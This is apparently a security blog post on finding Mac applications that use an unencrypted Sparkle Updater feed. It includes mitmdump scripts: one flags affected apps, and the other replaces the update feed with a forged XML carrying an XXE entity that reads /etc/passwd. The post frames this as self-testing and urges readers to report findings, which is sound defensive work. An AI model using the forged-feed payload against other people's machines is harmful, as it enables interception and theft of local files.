How to detect the Sparkle Updater vulnerability

January 29, 2016

In the previous article, I described how to hack OS X by abusing vulnerable application. The method was based on the MITM attack to elevate your privileges to that of the currently logged in user on the remote machine.

The attack works well, but you must be aware of all requirements:

  • Target is an OS X machine
  • There is a vulnerable application installed on a target host
  • You have LAN traffic in your control (ARP/DNS spoofing)


This step is rather straightforward, and you can verify it on your local OS X machine or just inspect the network traffic. You need to look for an indicator of the Sparkle Updater activity. It is possible to detect the request or the response while those two share similar static content.

Sparkle Updater requests looks like this:

GET /vlc/sparkle/vlc-intel64.xml HTTP/1.1
Accept: */*
Accept-Language: en-us
Connection: keep-alive
Accept-Encoding: gzip, deflate
User-Agent: VLC/2.2.1 Sparkle/a425c42

And here is the response:

<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:sparkle=""  xmlns:dc="">
      <title>VLC Changelog</title>
      <description>Most recent changes with links to updates.</description>

For the request, there is a generic User-Agent header with a value of VLC/2.2.1 Sparkle/a425c42. You can extract software name as well as its current version. It is enough to determine that:

  • Application is using the Sparkle Updater
  • Traffic is not encrypted (http instead of https) since you can sniff this transmission
  • It is vulnerable to our attack

You can also validate that by extracting static string from the response that is xmlns:sparkle="".

As far as those two factors are not going to change then it is possible to detect vulnerable applications on your computer.


There is an easier method than using Wireshark for checking if your application is vulnerable. Furthermore, it can be detected automatically with a simple Python script and mitmdump tool.

System Web Proxy

Now we know that we need to inspect the network traffic to detect vulnerable applications. We need to set up a proxy that is going to intercept the traffic from our machine. It is relatively easy on Mac OS X by setting it inside System Preferences -> Network -> [Your Active Network Adapter] -> Advanced:

Your active network adapter is a green one, red means it is disabled.

Mac OS X system web proxy

Select the Web Proxy (HTTP) and then fill up configuration fields with localhost value for host and 7070 for port number. Now go back to your terminal and install mitmproxy tool.

$ brew install mitmproxy
$ mitmproxy --version
mitmproxy 0.14.0
$ mitmdump --version
mitmdump 0.14.0

It seems that everything is working fine, and we are ready to write an automation script.


Mitmdump installs in one package together with mitmproxy. It is a useful tool that allows you to intercept, modify, inspect and replay the network traffic. For more information you should read the mitmproxy documentation.

The most convenient way to automate our detection method is to write a script for mitmdump. It uses Python as a scripting language and works by exposing a set of event methods like request or response. The source code for detection scripts ( looks as follows:

def request(context, flow):
  uagent = flow.request.headers["User-Agent"]
  if "Sparkle/" in uagent:
    print "Vulnerable app: " + uagent.split(" Sparkle/")[0]

It extracts 'User-Agent' header from headers array and then tests if it contains "Sparkle/" string. If true, then we have a vulnerable application.

Run this simple script, open vulnerable applications, and look for the name and version as it popups on your console.

$ mitmdump -s -p 7070 -q
Vulnerable app: Sequel Pro/1.1
Vulnerable app: Adium/1.5.10
Vulnerable app: Mou/0.8.7


Use the script posted below, run mitmdump with inline script parameter and check for update from vulnerable application. If affected then you should see the content of /etc/passwd file from your computer like below:

SequelPRO reading /etc/passwd file

Source code:

from libmproxy.models import decoded

forge_request = False
xml_response = """<?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss xmlns:atom="" xmlns:sparkle="" version="2.0">
    <title>Example App</title>
      <title>App version 1</title>
      <pubDate>Thu, 01 Jan 1970 00:00:01 GMT</pubDate>
      <enclosure url="" length="1024" type="application/octet-stream" sparkle:dsaSignature="" sparkle:version="9999" sparkle:shortVersionString="9.99" />

def request(context, flow):
  global forge_request

  forge_request = False
  uagent = flow.request.headers["User-Agent"]

  if "Sparkle/" in uagent:
    print "Potentially vulnerable app: " + uagent.split(" Sparkle/")[0]
    forge_request = True

def response(context, flow):
  global forge_request, xml_response

  if forge_request:
    with decoded(flow.response):
      flow.response.content = xml_response

Other applications

If you find a vulnerable application remember to report it to the person responsible for applying patches or the author of this application.

All posts